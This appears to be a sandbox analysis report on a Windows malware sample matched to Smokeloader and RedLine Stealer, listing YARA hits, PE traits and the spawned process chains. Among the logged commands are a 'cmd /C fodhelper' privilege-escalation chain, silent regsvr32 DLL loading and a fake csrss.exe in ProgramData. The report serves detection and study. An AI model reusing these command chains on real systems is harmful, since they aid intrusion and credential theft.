Source: B6AA.tmp.27.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: B6AA.tmp.27.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-B1464.tmp.28.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-B1464.tmp.28.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-B1464.tmp.28.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-B1464.tmp.28.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: is-D13DL.tmp.28.dr	Static PE information: Number of sections : 18 > 10
Source: is-D8Q6V.tmp.28.dr	Static PE information: Number of sections : 11 > 10
Source: is-KUQQ9.tmp.28.dr	Static PE information: Number of sections : 11 > 10
Source: is-JG7OO.tmp.28.dr	Static PE information: Number of sections : 11 > 10

Source: 3yPvcmrbqS.exe, 00000000.00000002.1708019720.00000000023A1000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameFameborb.exe4 vs 3yPvcmrbqS.exe

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll

Source: 3yPvcmrbqS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000003.00000002.1950416948.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1950511447.0000000002569000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2213288455.00000000025B8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000027.00000002.2379204850.00000000047F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000013.00000002.2213503303.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.2109723566.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.1991930562.0000000002804000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.2213042796.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000027.00000002.2377973035.00000000043F4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000012.00000002.2341972204.0000000004900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000012.00000002.2341502680.0000000004507000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: 5316.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: VBPlayerLIB.exe.28.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.28.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: N75Bitscore.exe.37.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 7B24.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9988924352134146
Source: 7B24.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9987521701388888
Source: 5D69.dll.1.dr	Static PE information: Section: .rdata ZLIB complexity 0.998736102764423
Source: 5D69.dll.1.dr	Static PE information: Section: .code ZLIB complexity 0.9976467911485603
Source: is-HDCA4.tmp.28.dr	Static PE information: Section: ZLIB complexity 0.9964533211297071
Source: is-SKTK6.tmp.28.dr	Static PE information: Section: ZLIB complexity 0.9976058467741935
Source: is-EPDGC.tmp.28.dr	Static PE information: Section: ZLIB complexity 0.995148689516129
Source: is-JFGB9.tmp.28.dr	Static PE information: Section: ZLIB complexity 0.9908203125
Source: is-PP906.tmp.28.dr	Static PE information: Section: ZLIB complexity 0.9903624487704918
Source: is-F0J9D.tmp.28.dr	Static PE information: Section: ZLIB complexity 0.9891526442307692

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@75/1096@1204/100

Source: C:\Users\user\AppData\Local\Temp\7017.exe

Code function: 12_2_00007FF7FA7074E0 GetLastError,FormatMessageW,WideCharToMultiByte,

12_2_00007FF7FA7074E0

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe

Code function: 0_2_026DEFBF CreateToolhelp32Snapshot,Module32First,

0_2_026DEFBF

Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp

File created: C:\Program Files (x86)\VBPlayerLIB

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\uiedafw

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2896:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:3068:64:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\5316.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: 3yPvcmrbqS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Users\user\AppData\Roaming\uiedafw	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 3yPvcmrbqS.exe	ReversingLabs: Detection: 40%
Source: 3yPvcmrbqS.exe	Virustotal: Detection: 41%

Source: unknown	Process created: C:\Users\user\Desktop\3yPvcmrbqS.exe C:\Users\user\Desktop\3yPvcmrbqS.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\uiedafw C:\Users\user\AppData\Roaming\uiedafw
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5316.exe C:\Users\user\AppData\Local\Temp\5316.exe
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process created: C:\Users\user\AppData\Local\Temp\5316.exe C:\Users\user\AppData\Local\Temp\5316.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5828.exe C:\Users\user\AppData\Local\Temp\5828.exe
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\5D69.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\5D69.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7017.exe C:\Users\user\AppData\Local\Temp\7017.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7B24.exe C:\Users\user\AppData\Local\Temp\7B24.exe
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8900.exe C:\Users\user\AppData\Local\Temp\8900.exe
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Process created: C:\Users\user\AppData\Local\Temp\7017.exe C:\Users\user\AppData\Local\Temp\7017.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A0FE.exe C:\Users\user\AppData\Local\Temp\A0FE.exe
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B6AA.exe C:\Users\user\AppData\Local\Temp\B6AA.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	Process created: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp "C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp" /SL5="$5046A,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp	Process created: C:\Users\user\AppData\Local\Temp\B6AA.exe "C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	Process created: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp "C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp" /SL5="$A0252,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" helpmsg 19
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process created: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe "C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -i
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 helpmsg 19
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Local\Temp\A0FE.exe "C:\Users\user\AppData\Local\Temp\A0FE.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process created: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe "C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -s
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6092 -ip 6092
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 664
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5316.exe C:\Users\user\AppData\Local\Temp\5316.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5828.exe C:\Users\user\AppData\Local\Temp\5828.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\5D69.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7017.exe C:\Users\user\AppData\Local\Temp\7017.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7B24.exe C:\Users\user\AppData\Local\Temp\7B24.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8900.exe C:\Users\user\AppData\Local\Temp\8900.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\uiedafw C:\Users\user\AppData\Roaming\uiedafw	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B6AA.exe C:\Users\user\AppData\Local\Temp\B6AA.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process created: C:\Users\user\AppData\Local\Temp\5316.exe C:\Users\user\AppData\Local\Temp\5316.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\5D69.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Process created: C:\Users\user\AppData\Local\Temp\7017.exe C:\Users\user\AppData\Local\Temp\7017.exe
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
